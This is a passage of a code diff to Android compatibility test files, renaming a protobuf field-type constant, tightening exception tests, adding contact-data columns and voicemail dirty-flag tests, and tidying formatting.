- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(3,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'y');
@@ -308,7 +308,7 @@
"abcdefghijkl");
long tokenEmpty = po.startObject(ProtoOutputStream.makeFieldId(500,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(tokenEmpty);
po.endObject(token);
@@ -349,19 +349,19 @@
final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(2,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'a');
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(4,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(6,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'c');
@@ -394,13 +394,13 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(2,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'a');
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(4,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
@@ -422,10 +422,10 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(token2);
try {
@@ -444,13 +444,13 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(2,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'a');
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(4,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
@@ -472,10 +472,10 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(token2);
try {
@@ -494,13 +494,13 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(2,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'a');
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(4,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
@@ -521,10 +521,10 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
try {
po.endObject(token1);
@@ -542,20 +542,20 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(2,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'a');
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(4,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
po.endObject(token2);
long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(4,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
@@ -576,14 +576,14 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(token2);
long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
try {
po.endObject(token2);
@@ -601,14 +601,14 @@
final ProtoOutputStream po = new ProtoOutputStream();
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
long token2 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(token2);
long token3 = po.startObject(ProtoOutputStream.makeFieldId(5,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
try {
po.endObject(token2);
@@ -638,17 +638,17 @@
all.nestedField.nested.nested.data = 3;
final long token1 = po.startObject(ProtoOutputStream.makeFieldId(170,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeInt32(ProtoOutputStream.makeFieldId(10001,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
1);
final long token2 = po.startObject(ProtoOutputStream.makeFieldId(10002,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeInt32(ProtoOutputStream.makeFieldId(10001,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
2);
final long token3 = po.startObject(ProtoOutputStream.makeFieldId(10002,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeInt32(ProtoOutputStream.makeFieldId(10001,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
3);
@@ -680,17 +680,17 @@
all.nestedFieldRepeated[i].nested.nested.data = 3;
final long token1 = po.startObject(ProtoOutputStream.makeFieldId(171,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeInt32(ProtoOutputStream.makeFieldId(10001,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
1);
final long token2 = po.startObject(ProtoOutputStream.makeFieldId(10002,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeInt32(ProtoOutputStream.makeFieldId(10001,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
2);
final long token3 = po.startObject(ProtoOutputStream.makeFieldId(10002,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeInt32(ProtoOutputStream.makeFieldId(10001,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
3);
@@ -724,7 +724,7 @@
try {
final ProtoOutputStream po = new ProtoOutputStream();
po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
} catch (IllegalArgumentException ex) {
// good
}
@@ -744,7 +744,7 @@
try {
final ProtoOutputStream po = new ProtoOutputStream();
po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
} catch (IllegalArgumentException ex) {
// good
}
@@ -756,7 +756,7 @@
public void testMismatchedEndObject() {
final ProtoOutputStream po = new ProtoOutputStream();
final long token = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
try {
po.endRepeatedObject(token);
@@ -771,7 +771,7 @@
public void testMismatchedEndRepeatedObject() {
final ProtoOutputStream po = new ProtoOutputStream();
final long token = po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
try {
po.endObject(token);
@@ -806,7 +806,7 @@
final ProtoOutputStream po = new ProtoOutputStream();
po.writeObject(ProtoOutputStream.makeFieldId(10,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT),
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE),
innerRaw);
final byte[] result = po.getBytes();
@@ -827,7 +827,7 @@
final ProtoOutputStream po = new ProtoOutputStream();
po.writeObject(ProtoOutputStream.makeFieldId(10,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT),
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE),
innerRaw);
final byte[] result = po.getBytes();
@@ -861,7 +861,7 @@
final ProtoOutputStream po = new ProtoOutputStream();
po.writeRepeatedObject(ProtoOutputStream.makeFieldId(10,
- ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT),
+ ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE),
innerRaw);
final byte[] result = po.getBytes();
@@ -882,7 +882,7 @@
final ProtoOutputStream po = new ProtoOutputStream();
po.writeRepeatedObject(ProtoOutputStream.makeFieldId(10,
- ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT),
+ ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE),
innerRaw);
Assert.assertArrayEquals(new byte[] {
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java
index 3b38aba..c408d92 100644
--- a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java
@@ -92,6 +92,7 @@
// Try it in the provided name
try {
ProtoOutputStream.checkFieldId(42 | goodCount | badType, goodCount | fieldType);
+ fail("Should have thrown an exception.");
} catch (IllegalArgumentException ex) {
assertEquals("writeRepeated" + string
+ " called for field 42 which should be used"
@@ -102,6 +103,7 @@
// Try it in the expected name
try {
ProtoOutputStream.checkFieldId(43 | goodCount | fieldType, goodCount | badType);
+ fail("Should have thrown an exception.");
} catch (IllegalArgumentException ex) {
assertEquals("writeRepeated" + badTypeString
+ " called for field 43 which should be used"
@@ -126,6 +128,7 @@
// Try it in the provided name
try {
ProtoOutputStream.checkFieldId(44 | badCount | goodType, fieldCount | goodType);
+ fail("Should have thrown an exception.");
} catch (IllegalArgumentException ex) {
assertEquals("write" + string
+ "Fixed32 called for field 44 which should be used"
@@ -136,6 +139,7 @@
// Try it in the expected name
try {
ProtoOutputStream.checkFieldId(45 | fieldCount | goodType, badCount | goodType);
+ fail("Should have thrown an exception.");
} catch (IllegalArgumentException ex) {
String extraString = "";
if (fieldCount == ProtoOutputStream.FIELD_COUNT_PACKED) {
@@ -151,7 +155,7 @@
/**
* Validate one call to checkFieldId that is expected to throw.
*/
- public void assertCheckFieldIdThrows(long fieldId, long expectedFlags)
+ public void assertCheckFieldIdThrows(long fieldId, long expectedFlags)
throws Exception {
try {
ProtoOutputStream.checkFieldId(fieldId, expectedFlags);
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java
index 31afce9..df94bda 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java
@@ -72,6 +72,8 @@
Data.DATA14,
Data.DATA15,
Data.CARRIER_PRESENCE,
+ Data.PREFERRED_PHONE_ACCOUNT_COMPONENT_NAME,
+ Data.PREFERRED_PHONE_ACCOUNT_ID,
Data.DATA_VERSION,
Data.IS_PRIMARY,
Data.IS_SUPER_PRIMARY,
@@ -286,6 +288,8 @@
Data.DATA14,
Data.DATA15,
Data.CARRIER_PRESENCE,
+ Data.PREFERRED_PHONE_ACCOUNT_COMPONENT_NAME,
+ Data.PREFERRED_PHONE_ACCOUNT_ID,
Data.DATA_VERSION,
Data.IS_PRIMARY,
Data.IS_SUPER_PRIMARY,
@@ -379,6 +383,8 @@
Data.DATA14,
Data.DATA15,
Data.CARRIER_PRESENCE,
+ Data.PREFERRED_PHONE_ACCOUNT_COMPONENT_NAME,
+ Data.PREFERRED_PHONE_ACCOUNT_ID,
Data.DATA_VERSION,
Data.IS_PRIMARY,
Data.IS_SUPER_PRIMARY,
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java b/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
index bdc973b..3f4aea2 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
@@ -104,7 +104,7 @@
final int SOURCE_DATA_INDEX = 6;
final int HAS_CONTENT_INDEX = 7;
final int MIME_TYPE_INDEX = 8;
- final int TRANSCRIPTION_INDEX= 9;
+ final int TRANSCRIPTION_INDEX = 9;
final int PHONE_ACCOUNT_COMPONENT_NAME_INDEX = 10;
final int PHONE_ACCOUNT_ID_INDEX = 11;
final int DIRTY_INDEX = 12;
@@ -160,15 +160,15 @@
assertEquals(insertMimeType, cursor.getString(MIME_TYPE_INDEX));
assertEquals(0, cursor.getInt(IS_READ_INDEX));
assertEquals(1, cursor.getInt(HAS_CONTENT_INDEX));
- assertEquals("foo",cursor.getString(TRANSCRIPTION_INDEX));
- assertEquals("com.foo",cursor.getString(PHONE_ACCOUNT_COMPONENT_NAME_INDEX));
- assertEquals("bar",cursor.getString(PHONE_ACCOUNT_ID_INDEX));
- assertEquals(0,cursor.getInt(DIRTY_INDEX));
- assertEquals(0,cursor.getInt(DELETED_INDEX));
- assertEquals(0,cursor.getInt(BACKED_UP_INDEX));
- assertEquals(0,cursor.getInt(RESTORED_INDEX));
- assertEquals(0,cursor.getInt(ARCHIVED_INDEX));
- assertEquals(0,cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
+ assertEquals("foo", cursor.getString(TRANSCRIPTION_INDEX));
+ assertEquals("com.foo", cursor.getString(PHONE_ACCOUNT_COMPONENT_NAME_INDEX));
+ assertEquals("bar", cursor.getString(PHONE_ACCOUNT_ID_INDEX));
+ assertEquals(0, cursor.getInt(DIRTY_INDEX));
+ assertEquals(0, cursor.getInt(DELETED_INDEX));
+ assertEquals(0, cursor.getInt(BACKED_UP_INDEX));
+ assertEquals(0, cursor.getInt(RESTORED_INDEX));
+ assertEquals(0, cursor.getInt(ARCHIVED_INDEX));
+ assertEquals(0, cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
int id = cursor.getInt(ID_INDEX);
assertEquals(id, Integer.parseInt(uri.getLastPathSegment()));
cursor.close();
@@ -196,12 +196,12 @@
assertEquals(updateDate, cursor.getLong(DATE_INDEX));
assertEquals(updateCallsDuration, cursor.getLong(DURATION_INDEX));
assertEquals(updateSourceData, cursor.getString(SOURCE_DATA_INDEX));
- assertEquals(1,cursor.getInt(DIRTY_INDEX));
- assertEquals(1,cursor.getInt(DELETED_INDEX));
- assertEquals(1,cursor.getInt(BACKED_UP_INDEX));
- assertEquals(1,cursor.getInt(RESTORED_INDEX));
- assertEquals(1,cursor.getInt(ARCHIVED_INDEX));
- assertEquals(1,cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
+ assertEquals(1, cursor.getInt(DIRTY_INDEX));
+ assertEquals(1, cursor.getInt(DELETED_INDEX));
+ assertEquals(1, cursor.getInt(BACKED_UP_INDEX));
+ assertEquals(1, cursor.getInt(RESTORED_INDEX));
+ assertEquals(1, cursor.getInt(ARCHIVED_INDEX));
+ assertEquals(1, cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
cursor.close();
// Test: delete
@@ -213,7 +213,7 @@
}
public void testForeignUpdate_dirty() throws Exception {
- if(!hasTelephony(getInstrumentation().getContext())){
+ if (!hasTelephony(getInstrumentation().getContext())) {
Log.d(TAG, "skipping test that requires telephony feature");
return;
}
@@ -234,8 +234,34 @@
}
}
+ public void testForeignUpdate_retainDirty_notDirty() throws Exception {
+ if (!hasTelephony(getInstrumentation().getContext())) {
+ Log.d(TAG, "skipping test that requires telephony feature");
+ return;
+ }
+ // only the default dialer has WRITE_VOICEMAIL permission, which can modify voicemails of
+ // a foreign source package.
+ setTestAsDefaultDialer();
+ ContentValues values = new ContentValues();
+ values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+ Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+ ContentValues newValues = new ContentValues();
+ newValues.put(Voicemails.TRANSCRIPTION, "foo");
+ newValues.put(Voicemails.DIRTY, Voicemails.DIRTY_RETAIN);
+
+ mVoicemailProvider.update(uri, newValues, null, null);
+
+ try (Cursor cursor = mVoicemailProvider
+ .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+ cursor.moveToFirst();
+ assertEquals(0, cursor.getInt(0));
+ }
+ }
+
public void testForeignUpdate_explicitNotDirty() throws Exception {
- if(!hasTelephony(getInstrumentation().getContext())){
+ if (!hasTelephony(getInstrumentation().getContext())) {
Log.d(TAG, "skipping test that requires telephony feature");
return;
}
@@ -246,7 +272,7 @@
Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
ContentValues updateValues = new ContentValues();
- updateValues.put(Voicemails.DIRTY,0);
+ updateValues.put(Voicemails.DIRTY, 0);
mVoicemailProvider.update(uri, updateValues, null, null);
try (Cursor cursor = mVoicemailProvider
@@ -257,7 +283,7 @@
}
public void testForeignUpdate_null_dirty() throws Exception {
- if(!hasTelephony(getInstrumentation().getContext())){
+ if (!hasTelephony(getInstrumentation().getContext())) {
Log.d(TAG, "skipping test that requires telephony feature");
return;
}
@@ -279,7 +305,7 @@
}
public void testForeignUpdate_NotNormalized_normalized() throws Exception {
- if(!hasTelephony(getInstrumentation().getContext())){
+ if (!hasTelephony(getInstrumentation().getContext())) {
Log.d(TAG, "skipping test that requires telephony feature");
return;
}
@@ -303,7 +329,7 @@
public void testLocalUpdate_notDirty() throws Exception {
ContentValues values = new ContentValues();
- values.put(Voicemails.DIRTY,1);
+ values.put(Voicemails.DIRTY, 1);
Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(mSourcePackageName), values);
@@ -316,6 +342,25 @@
}
}
+ public void testLocalUpdate_retainDirty_dirty() throws Exception {
+
+ ContentValues values = new ContentValues();
+ values.put(Voicemails.DIRTY, 1);
+
+ Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(mSourcePackageName), values);
+
+ ContentValues newValues = new ContentValues();
+ newValues.put(Voicemails.TRANSCRIPTION, "foo");
+ newValues.put(Voicemails.DIRTY, Voicemails.DIRTY_RETAIN);
+
+ mVoicemailProvider.update(uri, newValues, null, null);
+
+ try (Cursor cursor = mVoicemailProvider
+ .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+ cursor.moveToFirst();
+ assertEquals(cursor.getInt(0), 1);
+ }
+ }
// Data column should be automatically generated during insert.
public void testInsert_doesNotUpdateDataColumn() throws Exception {
@@ -351,7 +396,7 @@
private void assertDataNotEquals(String newFilePath) throws RemoteException {
// Make sure data value is not actually updated.
final Cursor cursor = mVoicemailProvider.query(mVoicemailContentUri,
- new String[]{Voicemails._DATA}, null, null, null);
+ new String[] {Voicemails._DATA}, null, null, null);
cursor.moveToNext();
final String data = cursor.getString(0);
assertFalse(data.equals(newFilePath));
@@ -494,10 +539,10 @@
packageManager.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE);
}
- private void setTestAsDefaultDialer() throws Exception{
+ private void setTestAsDefaultDialer() throws Exception {
assertTrue(mPreviousDefaultDialer == null);
mPreviousDefaultDialer = getDefaultDialer(getInstrumentation());
- setDefaultDialer(getInstrumentation(),PACKAGE);
+ setDefaultDialer(getInstrumentation(), PACKAGE);
}
private static String setDefaultDialer(Instrumentation instrumentation, String packageName)
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java b/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java
index 9b355b0..ab326ff 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java
@@ -37,14 +37,14 @@
/**
* Test the orignal refocus code
*/
- public void testOriginalRefocus() {
+ public void testOriginalRefocus() throws IOException {
refocus(RenderScriptTask.script.f32, 95);
}
/**
* Test the new refocus code
*/
- public void testNewRefocus() {
+ public void testNewRefocus() throws IOException {
// The new implementation may run on a GPU using relaxed floating point
// mathematics. Hence more relaxed precision requirement.
refocus(RenderScriptTask.script.d1new, 45);
@@ -54,7 +54,7 @@
* Test a refocus operator against the refocus_reference image
* @param impl version of refocus to run
*/
- private void refocus(RenderScriptTask.script impl, double minimumPSNR) {
+ private void refocus(RenderScriptTask.script impl, double minimumPSNR) throws IOException {
Context ctx = getContext();
RenderScript rs = RenderScript.create(ctx);
@@ -63,27 +63,26 @@
current_rgbz = new RGBZ(getResourceRef(R.drawable.test_image),
getResourceRef(R.drawable.test_depthmap),
ctx.getContentResolver(), ctx);
- } catch (IOException e) {
- e.printStackTrace();
- assertNull(e);
+ DepthOfFieldOptions current_depth_options = new DepthOfFieldOptions(current_rgbz);
+ RsTaskParams rsTaskParam = new RsTaskParams(rs, current_depth_options);
+
+ RenderScriptTask renderScriptTask = new RenderScriptTask(rs, impl);
+ Bitmap outputImage = renderScriptTask.applyRefocusFilter(rsTaskParam.mOptions);
+
+ Bitmap expectedImage = BitmapFactory.decodeResource(ctx.getResources(),
+ R.drawable.expected_output);
+
+ double psnr = ImageCompare.psnr(outputImage, expectedImage);
+ android.util.Log.i("RefocusTest", "psnr = " + String.format("%.02f", psnr));
+ if (psnr < minimumPSNR) {
+ MediaStoreSaver.savePNG(outputImage, "refocus", "refocus_output" , ctx);
+ assertTrue("Required minimum psnr = " + String.format("%.02f; ", minimumPSNR) +
+ "Actual psnr = " + String.format("%.02f", psnr),
+ false);
+ }
+ } finally {
+ rs.destroy();
}
- DepthOfFieldOptions current_depth_options = new DepthOfFieldOptions(current_rgbz);
- RsTaskParams rsTaskParam = new RsTaskParams(rs, current_depth_options);
-
- RenderScriptTask renderScriptTask = new RenderScriptTask(rs, impl);
- Bitmap outputImage = renderScriptTask.applyRefocusFilter(rsTaskParam.mOptions);
-
